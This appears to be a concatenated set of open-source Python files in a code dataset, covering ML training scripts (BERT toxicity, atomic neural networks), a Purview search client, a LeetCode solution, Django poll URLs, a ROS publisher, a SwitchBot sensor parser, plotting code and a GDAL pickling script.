BertDataSet(train_df)\n# dataset_test = BertDataSet(valid_df)\n# len(dataset_train), len(dataset_test)\n\ntrain_batch = 52\ntest_batch = 52\ndata_loader_train = DataLoader(dataset_train, batch_size=train_batch, shuffle=True, pin_memory = True)\n# data_loader_test = DataLoader(dataset_test, batch_size=test_batch, shuffle=False, pin_memory = True)\nmodel = transformers.BertForSequenceClassification.from_pretrained('bert-base-cased', num_labels = 6)\ngpus = torch.cuda.device_count()\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\nif gpus > 1:\n print(\"Let's use\", gpus, \"GPUs!\")\n model = torch.nn.DataParallel(model) # multi-gpu\nmodel.to(device)\n# loss = torch.nn.BCEWithLogitsLoss(pos_weight = torch.tensor((159571 - 35098) / 35098))\nloss = torch.nn.BCEWithLogitsLoss(pos_weight = torch.tensor((159571 - 35098) / 35098))\nloss.to(device)\n\nepochs = 5\nLR = 2e-5 #Learning rate\noptimizer = torch.optim.AdamW(model.parameters(), LR, weight_decay = 1e-2)\nscheduler = torch.optim.lr_scheduler.ReduceLROnPlateau(optimizer, patience = 2, verbose = True)\ntorch.backends.cudnn.benchmark = True\n\nfor i in range(epochs):\n model.train()\n correct_predictions = 0\n for batch_id, batch in enumerate(data_loader_train):\n optimizer.zero_grad()\n train_losses = []\n with torch.cuda.amp.autocast():\n ids = batch['ids'].to(device)\n mask = batch['mask'].to(device)\n optimizer.zero_grad()\n outputs = model(ids, mask)\n outputs = outputs['logits'].squeeze(-1).to(torch.float32)\n probabilities = torch.sigmoid(outputs)\n predictions = torch.where(probabilities > 0.5, 1, 0)\n labels = batch['labels'].to(device, non_blocking=True)\n loss_value = loss(outputs, labels)\n train_losses.append(loss_value.item())\n loss_value.backward()\n correct_predictions += torch.sum(predictions == labels)\n optimizer.step()\n if batch_id % 10 == 0:\n print('Epoch: {}, Batch: {}, Loss: {}'.format(i, batch_id, np.mean(train_losses)))\n accuracy = correct_predictions/(len(dataset_train)*6)\n print('Epoch: {}, Accuracy: {}'.format(i, accuracy))\n model.eval()\n # test\n #with torch.no_grad():\n # correct_predictions = 0\n # test_losses = []\n # for batch_id, batch in enumerate(data_loader_test):\n # ids = batch['ids'].to(device)\n # mask = batch['mask'].to(device)\n # outputs = model(ids, mask)\n # outputs = outputs['logits'].squeeze(-1).to(torch.float32)\n # probabilities = torch.sigmoid(outputs)\n # predictions = torch.where(probabilities > 0.5, 1, 0)\n # labels = batch['labels'].to(device, non_blocking=True)\n # loss_valid = loss(outputs, labels)\n # test_losses.append(loss_valid.item())\n # correct_predictions += torch.sum(predictions == labels)\n torch.save(model.state_dict(), './model_save/{}_aug_False_loss_False.pkl'.format(i))\n #accuracy = correct_predictions/(len(dataset_test)*6)\n #print('Epoch: {}, Validation Accuracy: {}, loss: {}'.format(i, accuracy, np.mean(test_losses)))\nprint(torch.cuda.memory_summary(1))\n\n\n","repo_name":"YiweiC1W/toxic-comment-classification","sub_path":"bert.py","file_name":"bert.py","file_ext":"py","file_size_in_byte":7943,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"72158544106","text":"import torch\nimport torch.nn.functional as F\nfrom torch import nn\nfrom torch.autograd import Variable\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom glob import glob\nimport pickle\nimport matplotlib.pyplot as plt\nfrom sklearn.preprocessing import MinMaxScaler\nfrom .structs import acsf_model\nimport json\nimport os\nimport dataclasses\nimport time\n\n\ndef rescale_targets(ys: []):\n \"\"\"\n Rescales the target values to be smaller values\n \"\"\"\n np_y = np.array(ys)\n mu = np.mean(np_y)\n std = np.std(np_y)\n return [(i - mu) / std for i in ys], mu, std\n\n\ndef write_pickle(data, fname='data.pickle'):\n with open(fname, 'wb') as handle:\n pickle.dump(data, handle, protocol=pickle.HIGHEST_PROTOCOL)\n\n\ndef read_pickle(fname='data.pickle'):\n with open(fname, 'rb') as handle:\n return pickle.load(handle)\n\n\ndef data_to_tensors(xs, ys):\n \"\"\"\n Used to restructure data coming from setup for pytorch usage\n \"\"\"\n for n, i in enumerate(xs):\n i = np.float32(i)\n xs[n] = torch.from_numpy(i)\n ys[n] = torch.tensor(ys[n], dtype=torch.float32)\n return xs, ys\n\n\ndef prepare_minimization(xs, ys):\n xs, ys = data_to_tensors(xs, ys)\n return xs, ys\n\n\ndef prepare_data(xs, ys, train_size=0.3):\n \"\"\"\n Splits dataset into train/test with restructuring datatypes to tensors\n \"\"\"\n print(type(xs), type(ys))\n train_x, test_x, train_y, test_y = train_test_split(xs,\n ys,\n train_size=train_size,\n test_size=1 -\n train_size,\n random_state=124)\n train_x, train_y = data_to_tensors(train_x, train_y)\n test_x, test_y = data_to_tensors(test_x, test_y)\n return train_x, test_x, train_y, test_y\n\n\ndef elementNet(Gs_num, nodes=[64, 64, 32, 1]):\n \"\"\"\n Contains the default element schematic\n Gs_num is the size of the input layer\n nodes are the sizes of the hidden layers and last one is output\n \"\"\"\n return nn.Sequential(\n nn.Linear(Gs_num, nodes[0]),\n nn.ReLU(),\n nn.Linear(nodes[0], nodes[1]),\n nn.ReLU(),\n nn.Linear(nodes[1], nodes[2]),\n nn.ReLU(),\n nn.Linear(nodes[2], nodes[3]),\n )\n\n\nclass atomicNet(torch.nn.Module):\n \"\"\"\n Constructs NN for H, C, N, O, and F individually\n \"\"\"\n\n def __init__(self, Gs_num: int, nodes: []):\n super().__init__()\n self.h = elementNet(Gs_num, nodes)\n self.c = elementNet(Gs_num, nodes)\n self.n = elementNet(Gs_num, nodes)\n self.o = elementNet(Gs_num, nodes)\n self.f = elementNet(Gs_num, nodes)\n self.el = {1: self.h, 6: self.c, 7: self.n, 8: self.o, 9: self.f}\n\n def forward(self, x):\n k = int(x[0])\n v = self.el[k]\n v = v(x[1:])\n return v\n\n\ndef saveModel_linear(\n model,\n acsf_model: acsf_model,\n):\n \"\"\"saves linear piece for regression\"\"\"\n\n save_path = acsf_model.paths.linear_model\n torch.save(model.state_dict(), save_path)\n return\n\n\ndef saveModel_ACSF_model(\n model,\n acsf_model: acsf_model,\n):\n \"\"\"\n Saves current model\n \"\"\"\n\n save_path = acsf_model.paths.model_path\n torch.save(model.state_dict(), save_path)\n return\n\n\ndef stats_epoch(differences: []):\n \"\"\"\n stats_epoch reports MAE and Max Error for epochs\n \"\"\"\n max_d = max(differences)\n abs_dif = []\n for i in differences:\n if i < 0:\n abs_dif.append(-i)\n else:\n abs_dif.append(i)\n mae = sum(abs_dif) / len(abs_dif)\n return mae, max_d\n\n\ndef stats_results(differences: [], acsf_obj: acsf_model):\n \"\"\"\n Returns mean differences, mean, mean absolute error, and max error.\n \"\"\"\n max_d = max(differences)\n avg_dif = sum(differences) / len(differences)\n abs_dif = []\n for i in differences:\n if i < 0:\n abs_dif.append(-i)\n else:\n abs_dif.append(i)\n mae = sum(abs_dif) / len(abs_dif)\n print()\n print('Avg. Differences \\t=\\t%.4f Hartrees' % (avg_dif))\n print('Mean Abs. Error \\t=\\t%.4f Hartrees' % (mae))\n print('Max Error \\t=\\t%.4f Hartrees' % (max_d))\n acsf_model.results.avg_dif = avg_dif\n acsf_model.results.mae = mae\n acsf_model.results.max_d = max_d\n json_p = acsf_obj.paths.model_path + \".json\"\n print(json_p)\n with open(json_p, 'w') as f:\n f.write(json.dumps(dataclasses.asdict(acsf_obj), indent=4))\n return\n\n\ndef read_scales(path):\n with open(path, 'r') as f:\n data = f.readlines()\n data = [float(i.replace(\"\\n\", \"\")) for i in data]\n return data\n\n\ndef test_atomic_nn(\n xs: [],\n ys: [],\n acsf_obj: acsf_model,\n scales=True,\n):\n \"\"\"\n Tests a model without training. Use the same ACSF parameters as the model\n being used.\n \"\"\"\n # rescales to have mean=0 and std=1\n # if scales:\n # scale_path = \"%s_scale\" % (acsf_obj.paths.model_path)\n # d = read_scales(scale_path)\n # mu, std = d[0], d[1]\n # scales = [mu, std]\n\n xs, test_xs, ys, test_ys = prepare_data(xs, ys, 0.8)\n Gs_num = xs[0].size()[1] - 1\n print(xs, ys)\n\n model = atomicNet(Gs_num)\n model.load_state_dict(torch.load(acsf_obj.paths.model_path))\n\n with torch.no_grad():\n model.eval()\n differences = []\n percentages = []\n E_model, E_target = [], []\n for n, x in enumerate(test_xs):\n y = test_ys[n]\n E_tot = 0\n for atom in x:\n E_i = model(atom)\n E_tot += E_i\n E_tot = E_tot[0]\n # if scales:\n # E_tot = E_tot * std + mu\n E_model.append(E_tot)\n E_target.append(y)\n\n dif = y - E_tot\n differences.append(dif)\n perc = abs(dif) / y\n percentages.append(perc)\n\n E_target = [float(i) for i in E_target]\n E_model = [float(i) for i in E_model]\n x = [i - 3200 for i in range(3500)]\n\n fig = plt.figure(dpi=400)\n plt.plot(E_target, E_model, 'r.', linewidth=0.1)\n plt.plot(x, x, 'k')\n plt.xlabel('Target Energy')\n plt.ylabel('Predicted Energy')\n # plt.xlim([-3000, 0])\n # plt.ylim([-3000, 0])\n plt.savefig(acsf_obj.paths.plot_path)\n\n stats_results(differences, percentages, acsf_obj)\n return\n\n\n# for xs, ragged inputs\n# - j\n\n# 1. compute error each epoch, average training errors from\n# epoch\n# 2. eval validation set each epoch\n# 3. savemodel when validation error is lowest\n# 4.\n\n\ndef elementNetMinimizeInput(Gs_num):\n \"\"\"\n Contains the default element schematic\n \"\"\"\n return nn.Sequential(nn.Linear(Gs_num, 1), )\n\n\nclass atomicNetMinimizeInput(torch.nn.Module):\n \"\"\"\n Constructs NN for H, C, N, O, and F individually\n \"\"\"\n\n def __init__(self, Gs_num: int):\n super().__init__()\n self.h = elementNetMinimizeInput(Gs_num)\n self.c = elementNetMinimizeInput(Gs_num)\n self.n = elementNetMinimizeInput(Gs_num)\n self.o = elementNetMinimizeInput(Gs_num)\n self.f = elementNetMinimizeInput(Gs_num)\n self.el = {1: self.h, 6: self.c, 7: self.n, 8: self.o, 9: self.f}\n\n def forward(self, x):\n k = int(x[0])\n v = self.el[k]\n v = v(x[1:])\n return v\n\n\nclass linearRegression(torch.nn.Module):\n\n def __init__(self, inputSize, outputSize):\n super(linearRegression, self).__init__()\n self.linear = torch.nn.Linear(inputSize, outputSize)\n\n def forward(self, x):\n out = self.linear(x)\n return out\n\n\ndef element_subvision(elements: [int] = [1, 6, 7, 8, 9]):\n \"\"\"\n Generates the element dictionary for value lookups\n \"\"\"\n el_dc = {}\n for n, i in enumerate(elements):\n el_dc[i] = n\n return el_dc\n\n\ndef minimize_error2(\n xs: [],\n ys: [],\n acsf_obj: acsf_model,\n els: [] = [1, 6, 7, 8, 9],\n):\n \"\"\"\n Minimizes error before neural network training through least squares fitting.\n \"\"\"\n el_dc = element_subvision()\n b = np.array(ys)\n elements, Gs = np.shape(xs[0])\n n_mols = len(xs)\n print('Number of Molecules:', n_mols)\n A = np.zeros((n_mols, len(el_dc)))\n for i in range(n_mols):\n m = xs[i]\n for j in range(len(m)):\n e_j = el_dc[m[j, 0]]\n A[i, e_j] += 1\n\n coef, *v = np.linalg.lstsq(A, b, rcond=None)\n print(coef)\n y_pred = np.zeros(np.shape(b))\n for i in range(len(A)):\n A[i, :] = np.multiply(A[i, :], coef)\n y_pred[i] = np.sum(A[i, :])\n\n MSE = np.square(np.subtract(b, y_pred)).mean()\n RMSE = np.sqrt(MSE)\n print(\"\\nminimize 2...\\n\")\n print(\"RMSE of least squares fitting:\", RMSE)\n y_comp = np.column_stack((b, y_pred))\n MAE = np.sum(np.abs(np.subtract(b, y_pred))) / len(b)\n print(\"MAE of least squares fitting :\", MAE)\n\n # 1. count number elements in each molecule\n # 2. weight associated with each element\n # E = \\Sigma_i^N(w_i*N_i)\n # linear regression minimization\n # equivalent to single linear layer\n # gives optimum weights\n # take linear model, and precompute for all molecules and starting point is energy that comes out\n # save and subtract\n\n return y_comp, coef\n\n\ndef minimize_error(\n xs: [],\n ys: [],\n acsf_obj: acsf_model,\n els: [] = [1, 6, 7, 8, 9],\n):\n \"\"\"\n Minimizes error before neural network training through least squares fitting.\n \"\"\"\n el_dc = element_subvision()\n b = np.array(ys)\n elements, Gs = np.shape(xs[0])\n Gs -= 1\n Gs_per_el = Gs // len(el_dc)\n\n print('Number of Molecules:', len(xs))\n A = np.zeros((len(xs), Gs * Gs_per_el))\n for i in range(len(xs)):\n m = xs[i]\n for j in range(len(m)):\n Gs_el = m[j, :]\n e_j = el_dc[m[j, 0]]\n for k in range(len(Gs_el)):\n A[i, e_j * Gs_per_el + k] += Gs_el[k]\n\n coef, *v = np.linalg.lstsq(A, b, rcond=None)\n y_pred = np.zeros(np.shape(b))\n for i in range(len(A)):\n A[i, :] = np.multiply(A[i, :], coef)\n y_pred[i] = np.sum(A[i, :])\n\n MSE = np.square(np.subtract(b, y_pred)).mean()\n RMSE = math.sqrt(MSE)\n print(\"RMSE of least squares fitting:\", RMSE)\n y_comp = np.column_stack((b, y_pred))\n MAE = np.sum(np.abs(np.subtract(b, y_pred))) / len(b)\n print(\"MAE of least squares fitting :\", MAE)\n\n # 1. count number elements in each molecule\n # 2. weight associated with each element\n # E = \\Sigma_i^N(w_i*N_i)\n # linear regression minimization\n # equivalent to single linear layer\n # gives optimum weights\n # take linear model, and precompute for all molecules and starting point is energy that comes out\n # save and subtract\n\n return y_comp\n\n\n# train_errors_total[epoch], test_errors_total[epoch]\n\n\ndef nn_progress(\n start: int,\n train_error: float,\n test_error: float,\n epochs: int,\n epoch: int,\n mae: float,\n max_e: float,\n):\n epoch_time = time.time()\n t_dif = epoch_time - start\n time_of_whole = (t_dif) * epochs / (epoch + 1)\n time_left = (time_of_whole - t_dif) / 60\n time_left /= 60\n print(\"{:d},\\t {:e},\\t {:e}\\t {:e}\\t {:e}\\t {:.2f}\".format(\n epoch + 1, train_error, test_error, mae, max_e, time_left))\n #if time_left > 60:\n # time_left /= 60\n # print(\"{:d},\\t {:e},\\t {:e}\\t {:e}\\t {:e}\\t {:.2f} Hours\".format(\n # epoch + 1, train_error, test_error, mae, max_e, time_left))\n #elif time_left > 1:\n # print(\"{:d},\\t {:e},\\t {:e}\\t {:e}\\t {:e}\\t {:.2f} Minutes\".format(\n # epoch + 1, train_error, test_error, mae, max_e, time_left))\n #else:\n # time_left *= 60\n # print(\"{:d},\\t {:e},\\t {:e}\\t {:e}\\t {:e}\\t {:.2f} Seconds\".format(\n # epoch + 1, train_error, test_error, mae, max_e, time_left))\n\n\ndef eval_linear(\n molecule,\n coefs: np.array,\n el_dc: dict,\n):\n \"\"\"\n eval_linear provides the atom's estimated value\n \"\"\"\n A = np.zeros(len(molecule))\n for j in range(len(molecule)):\n e_j = el_dc[molecule[j, 0]]\n A[e_j] += 1\n return\n\n\ndef atomic_nn(\n xs: [],\n ys: [],\n acsf_obj: acsf_model,\n coef: np.array,\n):\n \"\"\"\n Constructs a new model from a dataset of the structure...\n xs = [np.array[[atomic number, Gs...]]]\n ys = []\n \"\"\"\n epochs = acsf_obj.nn_props.epochs\n learning_rate = acsf_obj.nn_props.learning_rate\n batch_size = acsf_obj.nn_props.batch_size\n\n # ys1 = minimize_error(xs, ys, acsf_obj)\n ys, coef = minimize_error2(xs, ys, acsf_obj)\n xs, test_xs, ys, test_ys = prepare_data(xs, ys, 0.8)\n\n Gs_num = xs[0].size()[1] - 1\n\n model = atomicNet(Gs_num, acsf_obj.nn_props.nodes)\n criterion = torch.nn.MSELoss(reduction='mean')\n optimizer = torch.optim.Adam(model.parameters(), lr=learning_rate)\n\n print(\"starting training...\")\n\n E_totals = torch.zeros(batch_size)\n local_ys = torch.zeros(batch_size)\n lowest_validation_error = np.inf\n batch = 0\n print(\n \"Epoch,\\tTraining E,\\t Validation E,\\t MAE, \\t Max E, \\t ET Hrs.\"\n )\n train_errors = np.zeros((len(xs)))\n train_errors_total = np.zeros((epochs))\n test_errors_total = np.zeros((epochs))\n el_dc = element_subvision()\n start = time.time()\n for epoch in range(epochs):\n for n, x in enumerate(xs):\n y_target = ys[n][0]\n y_linear = ys[n][1]\n y = torch.tensor(y_target - y_linear)\n y = torch.tensor(y_target)\n local_ys[batch] = y\n # want... y = E_ref_target - E_linear_model\n E_tot = 0\n for atom in x:\n E_i = model(atom)\n E_i += coef[el_dc[int(atom[0])]]\n E_tot += E_i\n E_tot = E_tot[0]\n # should this instead be (E_tot + y_linear) compared with E_target?\n # that is the same as E_tot = E_target - y_linear\n E_totals[batch] = E_tot\n train_errors[n] = criterion(E_tot, y).item()\n batch += 1\n if batch == batch_size:\n batch = 0\n loss = criterion(E_totals, local_ys)\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n E_totals = torch.zeros(batch_size)\n local_ys = torch.zeros(batch_size)\n\n train_e = np.sum(train_errors) / len(train_errors)\n train_errors_total[epoch] = train_e\n\n E_model_test = torch.zeros(len(test_xs))\n target_test = torch.zeros(len(test_xs))\n with torch.no_grad():\n model.eval()\n differences = []\n for n, x in enumerate(test_xs):\n y_target = test_ys[n][0]\n y_linear = test_ys[n][1]\n # y = torch.tensor(y_target - y_linear)\n y = torch.tensor(y_target)\n target_test[n] = y\n # want... y = E_ref_target - E_linear_model\n E_tot = 0\n for atom in x:\n E_i = model(atom)\n E_i += coef[el_dc[int(atom[0])]]\n E_tot += E_i\n E_tot = E_tot[0]\n E_model_test[n] = E_tot\n dif = float(E_tot - y)\n differences.append(dif)\n test_errors_total[epoch] = criterion(E_model_test,\n target_test).item()\n if test_errors_total[epoch] < lowest_validation_error:\n # print(\"\\nSaving Model\\n\")\n saveModel_ACSF_model(model, acsf_obj)\n mae, max_e = stats_epoch(differences)\n\n nn_progress(\n start,\n train_errors_total[epoch],\n test_errors_total[epoch],\n epochs,\n epoch,\n mae,\n max_e,\n )\n\n print(\"\\nTraining time:\", time.time() - start)\n e_x = range(epochs)\n fig = plt.figure(dpi=400)\n plt.plot(train_errors_total, e_x, '-k', label=\"Train Errors\")\n plt.plot(test_errors_total, e_x, '-k', label=\"Train Errors\")\n plt.xlabel('Error')\n plt.ylabel('Epochs')\n plt.legend()\n plt.savefig(acsf_obj.paths.plot_path)\n\n model = atomicNet(Gs_num, acsf_obj.nn_props.nodes)\n model.load_state_dict(torch.load(acsf_obj.paths.model_path))\n with torch.no_grad():\n model.eval()\n differences = []\n percentages = []\n for n, x in enumerate(test_xs):\n y_target = test_ys[n][0]\n y_linear = test_ys[n][1]\n y = torch.tensor(y_target - y_linear)\n # want... y = E_ref_target - E_linear_model\n E_tot = 0\n for atom in x:\n E_i = model(atom)\n E_tot += E_i\n E_tot = E_tot[0]\n dif = float(E_tot - y)\n differences.append(dif)\n stats_results(differences, acsf_obj)\n return\n","repo_name":"Awallace3/ml_chem","sub_path":"models/bpnn_test.py","file_name":"bpnn_test.py","file_ext":"py","file_size_in_byte":16999,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"35352599681","text":"from .client import get_data\n\n# ---------------------------\n# SEARCH\n# ---------------------------\ndef searchAdvanced(args):\n endpoint = '/api/atlas/v2/search/advanced'\n payload = {\n 'keywords': args['--keywords'],\n 'limit': args['--limit'],\n 'offset': args['--offset'],\n 'facets': []\n }\n\n for facet in args['--facet']:\n payload['facets'].append(\n {\n 'count': 0,\n 'facet': facet,\n 'sort': { 'count': 'desc'}\n }\n )\n\n http_dict = {'app': 'catalog', 'method': 'POST', 'endpoint': endpoint, 'params': None, 'payload': payload}\n data = get_data(http_dict)\n return data\n","repo_name":"albandrod/purviewcli","sub_path":"purviewcli/client/_search.py","file_name":"_search.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"21151419704","text":"class Solution:\n def partitionDisjoint(self, nums: List[int]) -> int:\n # Time and Space Complexity: O(N)\n maxes = accumulate(nums, lambda a, b: max(a, b))\n mins = iter(reversed(list(accumulate(reversed(nums), lambda a, b: min(a, b)))))\n\n next(mins)\n for i, (prefix_max, suffix_min) in enumerate(zip(maxes, mins)):\n if prefix_max <= suffix_min:\n return i + 1\n","repo_name":"nhatsmrt/AlgorithmPractice","sub_path":"LeetCode/915. Partition Array into Disjoint Intervals/Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"37"} +{"seq_id":"1218310045","text":"def chebyshev(N,x,kind=1):\n\ta,b = 1.0*.0*x,kind*x\n\tfor n in range(N):\n\t\ta,b = b,2.0*x*b-a\n\treturn a\n\ndef newton1d(p,dp,x0,tol=1e-14,maxiter=1000):\n\tx = x0\n\tr = -p(x)\n\titer = 0\n\twhile abs(r)>tol and iter/', views.polls_vote,name='vote'),\n path('result//', views.polls_result,name='result'),\n path('yet_to_poll', views.polls_yet_to_poll,name='yet_to_poll'),\n path('already_polled', views.polls_already_polled,name='already_polled'),\n path('all_results', views.polls_all_results,name='all_results'),\n path('poll_details/', views.polls_details,name='poll_details'),\n path('poll_update/', views.polls_update,name='poll_update'),\n path('poll_delete/', views.polls_delete,name='poll_delete'),\n path('poll_duplicate/', views.polls_duplicate_polling_restricting,name='poll_duplicate'),\n]\n","repo_name":"Srujan-Webdev/votingapp.github.io","sub_path":"vote/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9012216424","text":"#!/usr/bin/env python\n\nimport rospy\n\nfrom sensor_msgs.msg import Imu\n\nrospy.init_node('highrate_pub')\n\npub = rospy.Publisher('imu', Imu, queue_size=1)\nrate = rospy.Rate(1000)\n\ncount = 0\nimu = Imu()\nwhile not rospy.is_shutdown():\n imu.header.stamp = rospy.Time.now()\n imu.header.frame_id = str(count)\n pub.publish(imu)\n count += 1\n rate.sleep()\n","repo_name":"lucasw/topic_throttle","sub_path":"scripts/highrate_pub.py","file_name":"highrate_pub.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"21457684346","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport matplotlib.dates as mdates\nfrom pathlib import Path\nfrom sklearn.cluster import KMeans\nfrom sklearn.metrics import silhouette_score\nfrom matplotlib.ticker import MaxNLocator\nimport numpy as np\n\n# ... (other functions stay the same) ...\ndef load_and_prepare_data():\n brain_file = str(Path.home()) + '/.brainworkshop/data/stats.txt'\n brain_columns = ['time', 'dnb', 'percent', 'mode', 'back', 'ticks_per_trial', 'num_trials_total',\n 'manual', 'session_number', 'pos1', 'audio', 'color', 'visvis', 'audiovis', 'arithmetic',\n 'image', 'visaudio', 'audio2', 'pos2', 'pos3', 'pos4', 'vis1', 'vis2', 'vis3', 'vis4',\n 'tickstimesnumtimestrials', 'None']\n\n df = pd.read_csv(brain_file, names=brain_columns)\n df['time'] = pd.to_datetime(df['time'])\n df = df.set_index('time').sort_index()\n\n # Convert columns that should be numeric but are not\n for col in ['percent', 'back', 'ticks_per_trial', 'num_trials_total']:\n df[col] = pd.to_numeric(df[col], errors='coerce') # 'coerce' will set invalid parsing to NaN\n\n df['score'] = df['back'] * 100 + df['percent']\n\n # Keep 'dnb' and numeric columns\n numeric_columns = df.select_dtypes(include=[np.number]).columns.tolist()\n return df, numeric_columns\n\ndef find_optimal_clusters(data, max_k=10):\n # Check if the number of samples is too low\n if len(data) <= 2:\n return 1 # Not enough data to form clusters, return a default single cluster\n\n silhouette_scores = []\n max_k = min(max_k, len(data) - 1) # Ensure max_k does not exceed n_samples - 1\n\n for k in range(2, max_k + 1):\n kmeans = KMeans(n_clusters=k, random_state=10, n_init=10)\n kmeans.fit(data)\n score = silhouette_score(data, kmeans.labels_)\n silhouette_scores.append((k, score))\n\n # Find the optimal k using silhouette score\n optimal_k = sorted(silhouette_scores, key=lambda x: x[1], reverse=True)[0][0]\n return optimal_k\n\ndef cluster_dnb_levels(df):\n # Extract the feature for clustering (dnb levels encoded as integers)\n dnb_levels = df['dnb'].unique()\n dnb_encoded = pd.factorize(dnb_levels)[0].reshape(-1, 1)\n\n # Find the optimal number of clusters\n optimal_k = find_optimal_clusters(dnb_encoded)\n kmeans = KMeans(n_clusters=optimal_k, random_state=10)\n kmeans.fit(dnb_encoded)\n\n # Map the cluster labels to the original dnb levels\n cluster_labels = kmeans.labels_\n dnb_cluster_map = dict(zip(dnb_levels, cluster_labels))\n return dnb_cluster_map\n\ndef plot_enhanced(df, numeric_columns):\n fig, ax = plt.subplots(figsize=(15, 8))\n\n # Cluster dnb levels\n dnb_cluster_map = cluster_dnb_levels(df)\n df['cluster'] = df['dnb'].map(dnb_cluster_map)\n cluster_colors = plt.cm.tab10(np.linspace(0, 1, len(np.unique(df['cluster']))))\n\n ax.xaxis.set_major_formatter(mdates.DateFormatter('%Y-%m-%d'))\n ax.xaxis.set_major_locator(mdates.DayLocator())\n\n ax.yaxis.grid(True, linestyle='--', which='major', color='grey', alpha=.25)\n ax.xaxis.grid(True, linestyle='--', which='major', color='grey', alpha=.25)\n ax.set_facecolor('whitesmoke')\n\n for cluster, color in zip(np.unique(df['cluster']), cluster_colors):\n cluster_df = df[df['cluster'] == cluster]\n groups = cluster_df.groupby([cluster_df.index.date])\n\n daily_mean = groups[numeric_columns].mean()\n daily_std = groups[numeric_columns].std()\n\n ax.fill_between(daily_mean.index, daily_mean['score'] - daily_std['score'],\n daily_mean['score'] + daily_std['score'], color=color, alpha=0.3)\n ax.scatter(daily_mean.index, daily_mean['score'], label=f'Cluster {cluster}', color=color, alpha=0.7)\n\n ax.xaxis.set_tick_params(rotation=45)\n ax.yaxis.set_major_locator(MaxNLocator(integer=True))\n\n ax.set_xlabel('Date')\n ax.set_ylabel('Score')\n ax.set_title('Enhanced Brain Workshop N-back Performance with Clusters')\n ax.legend()\n\n plt.tight_layout()\n plt.show()\n\n\ndef main():\n df, numeric_columns = load_and_prepare_data()\n plot_enhanced(df, numeric_columns)\n\nif __name__ == '__main__':\n main()\n","repo_name":"here-and-now/HRVoscope","sub_path":"stuff/nback_plot.py","file_name":"nback_plot.py","file_ext":"py","file_size_in_byte":4207,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"39675886974","text":"\"\"\"Meter parser.\"\"\"\nfrom __future__ import annotations\n\nfrom typing import Any\n\n\ndef process_wosensorth(data: bytes | None, mfr_data: bytes | None) -> dict[str, Any]:\n \"\"\"Process woSensorTH/Temp sensor services data.\"\"\"\n temp_data = None\n battery = None\n\n if mfr_data:\n temp_data = mfr_data[8:11]\n\n if data:\n if not temp_data:\n temp_data = data[3:6]\n battery = data[2] & 0b01111111\n\n if not temp_data:\n return {}\n\n _temp_sign = 1 if temp_data[1] & 0b10000000 else -1\n _temp_c = _temp_sign * (\n (temp_data[1] & 0b01111111) + ((temp_data[0] & 0b00001111) / 10)\n )\n _temp_f = (_temp_c * 9 / 5) + 32\n _temp_f = (_temp_f * 10) / 10\n\n _wosensorth_data = {\n # Data should be flat, but we keep the original structure for now\n \"temp\": {\"c\": _temp_c, \"f\": _temp_f},\n \"temperature\": _temp_c,\n \"fahrenheit\": bool(temp_data[2] & 0b10000000),\n \"humidity\": temp_data[2] & 0b01111111,\n \"battery\": battery,\n }\n\n return _wosensorth_data\n","repo_name":"Danielhiversen/pySwitchbot","sub_path":"switchbot/adv_parsers/meter.py","file_name":"meter.py","file_ext":"py","file_size_in_byte":1049,"program_lang":"python","lang":"en","doc_type":"code","stars":72,"dataset":"github-code","pt":"37"} +{"seq_id":"9743151388","text":"# -*- coding: UTF-8 -*-\r\n\r\n\"\"\"\r\n针对多于4个波段的影像\r\n使用GDAL读取影像\r\n存储成pickle\r\n\"\"\"\r\nimport numpy as np\r\nimport pickle\r\nimport os\r\nimport zlib\r\nimport gzip\r\nimport gdal\r\nimport sys\r\nimport cv2\r\nimport datetime\r\nfrom collections import Counter\r\n\r\n\r\n'''\r\n# dir_name 为文件路径\r\n# img_pixel 为图像的像素尺寸\r\n'''\r\n\r\n\r\ndef create_pickle_train(image_path, mask_path, pkl_path, img_pixel=10, channels=3):\r\n m = 0\r\n\r\n image_data = Multiband2Array(image_path)\r\n mask_data = gdal.Open(mask_path).ReadAsArray() / 255\r\n\r\n x_size, y_size = mask_data.shape[:2]\r\n\r\n data_list = []\r\n\r\n for i in range(0, x_size - img_pixel + 1, img_pixel // 2): # 文件夹下的文件名\r\n if i + img_pixel > x_size:\r\n i = x_size - img_pixel - 1\r\n for j in range(0, y_size - img_pixel + 1, img_pixel // 2):\r\n if j + img_pixel > y_size:\r\n j = y_size - img_pixel - 1\r\n cropped_data = image_data[i:i + img_pixel, j:j + img_pixel]\r\n data1 = cropped_data.reshape((-1, img_pixel * img_pixel * channels)) # 展成一行\r\n\r\n # 取频次最多的值作为label\r\n temp_label = mask_data[i:i + img_pixel, j:j + img_pixel]\r\n temp_label = temp_label.reshape([img_pixel * img_pixel])\r\n label_count = dict(Counter(temp_label))\r\n train_label = max(label_count.items(), key=lambda x: x[1])[0]\r\n\r\n data2 = np.append(data1, train_label)[np.newaxis, :] # 数据+标签\r\n\r\n data_list.append(data2)\r\n\r\n m += 1\r\n\r\n # if m % 10000 == 0: print(datetime.datetime.now(), \"compressed {number} images\".format(number=m))\r\n print(m)\r\n data_matrix = np.array(data_list, dtype=int)\r\n del data_list\r\n data_matrix = data_matrix.reshape((-1, img_pixel * img_pixel * channels + 1))\r\n with gzip.open(pkl_path, 'wb') as writer: # 以压缩包方式创建文件,进一步压缩文件\r\n pickle.dump(data_matrix, writer) # 数据存储成pickle文件\r\n\r\n\r\ndef read_and_decode(filename):\r\n with gzip.open(filename, 'rb') as pkl_file: # 打开文件\r\n data = 